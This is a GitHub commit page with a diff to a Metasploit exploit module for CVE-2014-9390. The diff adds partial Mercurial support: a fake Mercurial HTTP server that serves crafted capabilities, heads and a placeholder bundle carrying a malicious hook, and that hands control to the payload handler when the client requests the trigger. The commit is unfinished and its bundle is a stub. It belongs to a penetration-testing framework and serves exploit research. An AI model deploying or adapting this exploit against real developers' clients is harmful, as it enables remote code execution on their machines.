Skip to content

Commit 421fc20

Browse files
committed
Partial mercurial support. Still need to implement bundle format
1 parent fdd1d08 commit 421fc20

File tree

1 file changed

+21
-7
lines changed

1 file changed

+21
-7
lines changed

modules/exploits/multi/http/git_cve_2014_9390.rb

Lines changed: 21 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -159,7 +159,18 @@ def setup_mercurial
159159
fail ArgumentError, 'MERCURIAL_URI must start with a /' unless mercurial_uri =~ /^\//
160160
# sanity check the malicious hook:
161161
fail ArgumentError, 'MERCURIAL_HOOK must not be blank' if datastore['MERCURIAL_HOOK'].blank?
162-
# TODO: build the fake repository
162+
# we fake the Mercurial HTTP protocol such that we are compliant as possible but
163+
# also as simple as possible so that we don't have to support all of the protocol
164+
# complexities. Taken from:
165+
# http://mercurial.selenic.com/wiki/HttpCommandProtocol
166+
# http://selenic.com/hg/file/tip/mercurial/wireproto.py
167+
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
168+
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
169+
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
170+
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
171+
@repo_data[:mercurial][:files]["?cmd=getbundle&common=0000000000000000000000000000000000000000&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
172+
173+
# TODO: finish building the fake repository
163174
end
164175

165176
def build_object(type, content)
@@ -255,19 +266,22 @@ def do_html(cli, _req)
255266
def do_mercurial(cli, req)
256267
# determine if the requested file is something we know how to serve from our
257268
# fake repository and send it if so
258-
req_file = URI.parse(req.uri).path.gsub(/^#{mercurial_uri}/, '')
259-
if @repo_data[:mercurial][:files].key?(req_file)
260-
vprint_status("Sending Mercurial #{req_file}")
261-
send_response(cli, @repo_data[:mercurial][:files][req_file])
262-
if req_file == @repo_data[:mercurial][:trigger]
269+
uri = URI.parse(req.uri)
270+
req_path = uri.path
271+
req_path += "?#{uri.query}" if uri.query
272+
req_path.gsub!(/^#{mercurial_uri}/, '')
273+
if @repo_data[:mercurial][:files].key?(req_path)
274+
vprint_status("Sending Mercurial #{req_path}")
275+
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
276+
if req_path == @repo_data[:mercurial][:trigger]
263277
vprint_status("Trigger!")
264278
# Do we need this? If so, how can I update the payload which is in a file which
265279
# has already been built?
266280
# regenerate_payload
267281
handler(cli)
268282
end
269283
else
270-
vprint_status("Mercurial #{req_file} doesn't exist")
284+
vprint_status("Mercurial #{req_path} doesn't exist")
271285
send_not_found(cli)
272286
end
273287
end

0 commit comments

Comments
 (0)